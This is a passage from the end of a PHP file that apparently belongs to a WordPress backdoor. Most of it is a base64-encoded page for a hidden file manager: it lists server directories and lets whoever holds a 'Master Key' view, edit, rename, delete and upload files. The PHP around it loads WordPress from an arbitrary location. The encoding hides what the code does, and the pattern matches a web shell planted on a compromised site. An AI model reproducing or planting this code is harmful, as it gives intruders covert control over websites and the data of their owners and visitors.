FtZT0iYWN0aW9uIiB2YWx1ZT0ibWtkaXIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfZGlyX25hbWUiIHBsYWNlaG9sZGVyPSJEaXJlY3RvcnkgbmFtZSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvZGl2Pg0KICAgIDxkaXYgaWQ9ImF1dGgtZm9ybSIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8P3BocCBlY2hvICRzZWxmX3VybDsgPz4mcGF0aD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudF9wYXRoKTsgPz4iPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ibWFzdGVyX2tleSIgcGxhY2Vob2xkZXI9Ik1hc3RlciBLZXkiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJBdXRoZW50aWNhdGUiPjwvZm9ybT48L2Rpdj4NCjwvZGl2Pg0KPHRhYmxlPjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5QZXJtczwvdGg+PHRoPk1vZGlmaWVkPC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4NCjw/cGhwDQokaXRlbXMgPSBpc3NldCgkd3BfZmlsZXN5c3RlbSkgPyAkd3BfZmlsZXN5c3RlbS0+ZGlybGlzdCgkY3VycmVudF9wYXRoKSA6IFtdOw0KJGZpbGVzX2xpc3QgPSBbXTsgJGRpcnNfbGlzdCA9IFtdOw0KaWYgKCFlbXB0eSgkaXRlbXMpKSB7DQogICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRuYW1lID0+ICRkZXRhaWxzKSB7DQogICAgICAgICRpdGVtID0gWyduYW1lJyA9PiAkbmFtZSwgJ3BhdGgnID0+IHJ0cmltKCRjdXJyZW50X3BhdGgsICcvJykgLiAnLycgLiAkbmFtZSwgJ3Blcm1zJyA9PiAkZGV0YWlsc1sncGVybXMnXSwgJ3NpemUnID0+ICRkZXRhaWxzWydzaXplJ10sICdtdGltZScgPT4gJGRldGFpbHNbJ2xhc3Rtb2R1bml4J10sICdpc19kaXInID0+ICRkZXRhaWxzWyd0eXBlJ10gPT09ICdkJ107DQogICAgICAgIGlmICgkaXRlbVsnaXNfZGlyJ10pIHsgJGRpcnNfbGlzdFtdID0gJGl0ZW07IH0gZWxzZSB7ICRmaWxlc19saXN0W10gPSAkaXRlbTsgfQ0KICAgIH0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCdzb3J0X2l0ZW1zX2N1c3RvbV9mbScpKSB7IGZ1bmN0aW9uIHNvcnRfaXRlbXNfY3VzdG9tX2ZtKCRhLCAkYikgeyByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsgfSB9DQp1c29ydCgkZGlyc19saXN0LCAnc29ydF9pdGVtc19jdXN0b21fZm0nKTsgdXNvcnQoJGZpbGVzX2xpc3QsICdzb3J0X2l0ZW1zX2N1c3RvbV9mbScpOyAkc29ydGVkX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnNfbGlzdCwgJGZpbGVzX2xpc3QpOw0KDQpmb3JlYWNoICgkc29ydGVkX2l0ZW1zIGFzICRmaWxlKSB7DQogICAgZWNobyAnPHRyPjx0ZD4nLigkZmlsZVsnaXNfZGlyJ10/JzxhIGhyZWY9IiMiIG9uY2xpY2s9Im5hdmlnYXRlKFwnJy4kc2VsZl91cmwuJyZwYXRoPScudXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pLidcJyk7IHJldHVybiBmYWxzZTsiPlsnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSkuJ108L2E+JzpodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyduYW1lJ10pKS4nPC90ZD48dGQ+Jy4oJGZpbGVbJ2lzX2RpciddPydESVInOnJvdW5kKCRmaWxlWydzaXplJ10vMTAyNCwyKS4nIEtCJykuJzwvdGQ+PHRkPicuJGZpbGVbJ3Blcm1zJ10uJzwvdGQ+PHRkPicuZGF0ZSgiWS1tLWQgSDppIiwgJGZpbGVbJ210aW1lJ10pLic8L3RkPjx0ZCBjbGFzcz0iYWN0aW9ucyI+JzsNCiAgICBpZiAoJGlzX2F1dGhlbnRpY2F0ZWQpIHsNCiAgICAgICAgaWYoISRmaWxlWydpc19kaXInXSkgZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0idmlld0ZpbGUoXCcnLmFkZHNsYXNoZXMoJGZpbGVbJ3BhdGgnXSkuJ1wnKTtyZXR1cm4gZmFsc2U7Ij5WaWV3PC9hPiB8IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImVkaXRGaWxlKFwnJy5hZGRzbGFzaGVzKCRmaWxlWydwYXRoJ10pLidcJyk7cmV0dXJuIGZhbHNlOyI+RWRpdDwvYT4gfCAnOw0KICAgICAgICBlY2hvICc8YSBocmVmPSIjIiBvbmNsaWNrPSJyZW5hbWVJdGVtKFwnJy5hZGRzbGFzaGVzKCRmaWxlWydwYXRoJ10pLidcJywgXCcnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSkuJ1wnKTtyZXR1cm4gZmFsc2U7Ij5SZW5hbWU8L2E+IHwgPGEgaHJlZj0iIyIgb25jbGljaz0iZGVsZXRlSXRlbShcJycuYWRkc2xhc2hlcygkZmlsZVsncGF0aCddKS4nXCcpOyByZXR1cm4gZmFsc2U7Ij5EZWxldGU8L2E+JzsNCiAgICB9IGVsc2Ugew0KICAgICAgICBlY2hvICdBdXRoIFJlcXVpcmVkJzsNCiAgICB9DQogICAgZWNobyAnPC90ZD48L3RyPic7DQp9ID8+DQo8L3RhYmxlPg0KPD9waHAgaWYgKCRpc19hdXRoZW50aWNhdGVkKTogPz4NCjxocj48aDM+VXBsb2FkIEZpbGU8L2gzPjxmb3JtIG9uc3VibWl0PSJwZXJmb3JtQWN0aW9uKGV2ZW50LCB0aGlzKTsiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InVwbG9hZCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVfdXBsb2FkIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+DQo8P3BocCBlbmRpZjsgPz4NCjxkaXYgaWQ9ImVkaXRvciIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjxoMyBzdHlsZT0ibWFyZ2luLXRvcDowOyI+RWRpdGluZzogPHNwYW4gaWQ9ImVkaXRpbmctZmlsZW5hbWUiPjwvc3Bhbj48L2gzPjxmb3JtIG9uc3VibWl0PSJwZXJmb3JtQWN0aW9uKGV2ZW50LCB0aGlzKTsiPjx0ZXh0YXJlYSBuYW1lPSJuZXdfY29udGVudCIgaWQ9ImVkaXRvci1jb250ZW50Ij48L3RleHRhcmVhPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InNhdmUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGVfcGF0aCIgaWQ9ImVkaXRvci1maWxlcGF0aCI+PGJyPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTYXZlIj48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iY2xvc2VFZGl0b3IoKTsiPkNhbmNlbDwvYnV0dG9uPjwvZm9ybT48L2Rpdj4NCjxmb3JtIGlkPSJhY3Rpb24tZm9ybSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImF1dGhfdG9rZW4iIGlkPSJhdXRoX3Rva2VuIj48L2Zvcm0+DQo8c2NyaXB0Pg0KICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLCBmdW5jdGlvbigpIHsNCiAgICAgICAgY29uc3QgdXJsUGFyYW1zID0gbmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKTsNCiAgICAgICAgY29uc3QgdG9rZW5Gcm9tVXJsID0gdXJsUGFyYW1zLmdldCgnYXV0aF90b2tlbicpOw0KICAgICAgICBpZiAodG9rZW5Gcm9tVXJsKSB7DQogICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnZm1fand0JywgdG9rZW5Gcm9tVXJsKTsNCiAgICAgICAgICAgIHdpbmRvdy5oaXN0b3J5LnJlcGxhY2VTdGF0ZSh7fSwgZG9jdW1lbnQudGl0bGUsIHdpbmRvdy5sb2NhdGlvbi5wYXRobmFtZSArIHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgvJj9hdXRoX3Rva2VuPVteJl0qLywgJycpKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgY29uc3Qgand0ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2ZtX2p3dCcpOw0KICAgICAgICBjb25zdCBhY3Rpb25Gb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGNvbnN0IHNlbGZVcmwgPSAnPD9waHAgZWNobyAkc2VsZl91cmw7ID8+JzsNCiAgICAgICAgY29uc3QgY3VycmVudFBhdGggPSAnPD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCk7ID8+JzsNCiAgICAgICAgYWN0aW9uRm9ybS5hY3Rpb24gPSBgJHtzZWxmVXJsfSZwYXRoPSR7Y3VycmVudFBhdGh9YDsNCiAgICAgICAgDQogICAgICAgIGlmIChqd3QpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoX3Rva2VuJykudmFsdWUgPSBqd3Q7DQogICAgICAgICAgICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2F1dGgtZm9ybScpKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYXV0aC1mb3JtJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYXV0aC1mb3JtJykpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoLWZvcm0nKS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsNCiAgICAgICAgfQ0KICAgIH0pOw0KICAgIGZ1bmN0aW9uIHRvZ2dsZUZvcm0oaWQpIHsgdmFyIGVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpOyBpZihlbCkgZWwuc3R5bGUuZGlzcGxheSA9IGVsLnN0eWxlLmRpc3BsYXkgPT09ICdibG9jaycgPyAnbm9uZScgOiAnYmxvY2snOyB9DQogICAgZnVuY3Rpb24gbmF2aWdhdGUodXJsKSB7DQogICAgICAgIGNvbnN0IGp3dCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdmbV9qd3QnKTsNCiAgICAgICAgaWYgKGp3dCkgew0KICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSB1cmwgKyAnJmF1dGhfdG9rZW49JyArIGp3dDsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gdXJsOw0KICAgICAgICB9DQogICAgfQ0KICAgIGZ1bmN0aW9uIGxvZ291dCgpIHsgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ2ZtX2p3dCcpOyB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICc8P3BocCBlY2hvICRzZWxmX3VybCAuICImcGF0aD0iIC4gdXJsZW5jb2RlKCRjdXJyZW50X3BhdGgpOyA/Pic7IH0NCiAgICBmdW5jdGlvbiB2aWV3RmlsZShmaWxlUGF0aCkgeyB3aW5kb3cub3BlbignPD9waHAgZWNobyAkc2VsZl91cmw7ID8+JnBhdGg9JyArIGVuY29kZVVSSUNvbXBvbmVudChmaWxlUGF0aCkgKyAnJmFjdGlvbj12aWV3X2NvbnRlbnQnKTsgfQ0KICAgIGZ1bmN0aW9uIGVkaXRGaWxlKGZpbGVQYXRoKSB7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlZGl0aW5nLWZpbGVuYW1lIikuaW5uZXJUZXh0ID0gZmlsZVBhdGguc3BsaXQoL1tcXC9dLykucG9wKCk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlZGl0b3ItZmlsZXBhdGgiKS52YWx1ZSA9IGZpbGVQYXRoOw0KICAgICAgICB2YXIgdXJsID0gIjw/cGhwIGVjaG8gJHNlbGZfdXJsOyA/PiZwYXRoPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZmlsZVBhdGgpICsgIiZhY3Rpb249dmlld19jb250ZW50JmF1dGhfdG9rZW49IiArIGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdmbV9qd3QnKTsNCiAgICAgICAgZmV0Y2godXJsKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGNvbnRlbnQ9PnsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlZGl0b3ItY29udGVudCIpLnZhbHVlID0gY29udGVudDsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgfSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGNsb3NlRWRpdG9yKCkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT0ibm9uZSI7IH0NCiAgICBmdW5jdGlvbiBwZXJmb3JtQWN0aW9uKGV2ZW50LCBmb3JtRWxlbWVudCkgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICBjb25zdCBqd3QgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZm1fand0Jyk7DQogICAgICAgIGlmICghand0KSB7IGFsZXJ0KCdBdXRoZW50aWNhdGlvbiByZXF1aXJlZCEnKTsgcmV0dXJuOyB9DQogICAgICAgIA0KICAgICAgICBjb25zdCBhY3Rpb25Gb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGxldCB0b2tlbklucHV0ID0gYWN0aW9uRm9ybS5xdWVyeVNlbGVjdG9yKCcjYXV0aF90b2tlbicpOw0KICAgICAgICBpZighdG9rZW5JbnB1dCkgew0KICAgICAgICAgICAgdG9rZW5JbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7DQogICAgICAgICAgICB0b2tlbklucHV0LnR5cGUgPSAnaGlkZGVuJzsNCiAgICAgICAgICAgIHRva2VuSW5wdXQubmFtZSA9ICdhdXRoX3Rva2VuJzsNCiAgICAgICAgICAgIHRva2VuSW5wdXQuaWQgPSAnYXV0aF90b2tlbic7DQogICAgICAgICAgICBhY3Rpb25Gb3JtLmFwcGVuZENoaWxkKHRva2VuSW5wdXQpOw0KICAgICAgICB9DQogICAgICAgIHRva2VuSW5wdXQudmFsdWUgPSBqd3Q7DQoNCiAgICAgICAgY29uc3QgZm9ybURhdGEgPSBuZXcgRm9ybURhdGEoZm9ybUVsZW1lbnQpOw0KICAgICAgICBmb3IobGV0IFtuYW1lLCB2YWx1ZV0gb2YgZm9ybURhdGEpIHsNCiAgICAgICAgICAgIGxldCBleGlzdGluZ0lucHV0ID0gYWN0aW9uRm9ybS5xdWVyeVNlbGVjdG9yKGBbbmFtZT0iJHtuYW1lfSJdYCk7DQogICAgICAgICAgICBpZiAoZXhpc3RpbmdJbnB1dCkgew0KICAgICAgICAgICAgICAgICBleGlzdGluZ0lucHV0LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZXhpc3RpbmdJbnB1dCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZm9yKGxldCBbbmFtZSwgdmFsdWVdIG9mIGZvcm1EYXRhKSB7DQogICAgICAgICAgICAgY29uc3QgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICAgICAgIGlmIChmb3JtRWxlbWVudC5lbmN0eXBlID09PSAnbXVsdGlwYXJ0L2Zvcm0tZGF0YScgJiYgdmFsdWUgaW5zdGFuY2VvZiBGaWxlKSB7DQogICAgICAgICAgICAgICAgIGlucHV0LnR5cGUgPSAnZmlsZSc7DQogICAgICAgICAgICAgICAgIGlucHV0LmZpbGVzID0gZm9ybUVsZW1lbnQucXVlcnlTZWxlY3RvcignaW5wdXRbdHlwZT1maWxlXScpLmZpbGVzOw0KICAgICAgICAgICAgICAgICBpbnB1dC5uYW1lID0gbmFtZTsNCiAgICAgICAgICAgICAgICAgYWN0aW9uRm9ybS5hcHBlbmRDaGlsZChpbnB1dCk7DQogICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgaW5wdXQudHlwZSA9ICdoaWRkZW4nOw0KICAgICAgICAgICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICAgICAgICAgICBpbnB1dC5uYW1lID0gbmFtZTsNCiAgICAgICAgICAgICAgICAgYWN0aW9uRm9ybS5hcHBlbmRDaGlsZChpbnB1dCk7DQogICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGFjdGlvbkZvcm0uc3VibWl0KCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIHJlbmFtZUl0ZW0oZmlsZVBhdGgsIGN1cnJlbnROYW1lKSB7DQogICAgICAgIGNvbnN0IGp3dCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdmbV9qd3QnKTsgaWYgKCFqd3QpIHsgYWxlcnQoJ0F1dGhlbnRpY2F0aW9uIHJlcXVpcmVkIScpOyByZXR1cm47IH0NCiAgICAgICAgdmFyIG5ld05hbWUgPSBwcm9tcHQoIkVudGVyIG5ldyBuYW1lIGZvciAiICsgY3VycmVudE5hbWUsIGN1cnJlbnROYW1lKTsNCiAgICAgICAgaWYgKG5ld05hbWUgJiYgbmV3TmFtZSAhPT0gY3VycmVudE5hbWUpIHsNCiAgICAgICAgICAgIGNvbnN0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgICAgICBmb3JtLm1ldGhvZCA9ICdwb3N0JzsNCiAgICAgICAgICAgIGZvcm0uYWN0aW9uID0gJzw/cGhwIGVjaG8gJHNlbGZfdXJsIC4gIiZwYXRoPSIgLiB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCk7ID8+JzsNCiAgICAgICAgICAgIGZvcm0uaW5uZXJIVE1MID0gYDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImF1dGhfdG9rZW4iIHZhbHVlPSIke2p3dH0iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVuYW1lX2Zyb20iIHZhbHVlPSIke2ZpbGVQYXRofSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVuYW1lX3RvIiB2YWx1ZT0iJHtuZXdOYW1lfSI+YDsNCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZm9ybSk7DQogICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICB9DQogICAgfQ0KICAgICBmdW5jdGlvbiBkZWxldGVJdGVtKGZpbGVQYXRoKSB7DQogICAgICAgIGNvbnN0IGp3dCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdmbV9qd3QnKTsgaWYgKCFqd3QpIHsgYWxlcnQoJ0F1dGhlbnRpY2F0aW9uIHJlcXVpcmVkIScpOyByZXR1cm47IH0NCiAgICAgICAgaWYgKGNvbmZpcm0oJ0RlbGV0ZSB0aGlzIGl0ZW0gcGVybWFuZW50bHk/JykpIHsNCiAgICAgICAgICAgIG5hdmlnYXRlKCc8P3BocCBlY2hvICRzZWxmX3VybCAuICImcGF0aD0iIC4gdXJsZW5jb2RlKCRjdXJyZW50X3BhdGgpOyA/PiZkZWw9JyArIGVuY29kZVVSSUNvbXBvbmVudChmaWxlUGF0aCkpOw0KICAgICAgICB9DQogICAgfQ0KPC9zY3JpcHQ+DQo8L2JvZHk+PC9odG1sPg=='));
exit;
} else {
http_response_code(500);
die('CRITICAL: Could not bootstrap WordPress environment from this location.');
}
}
?>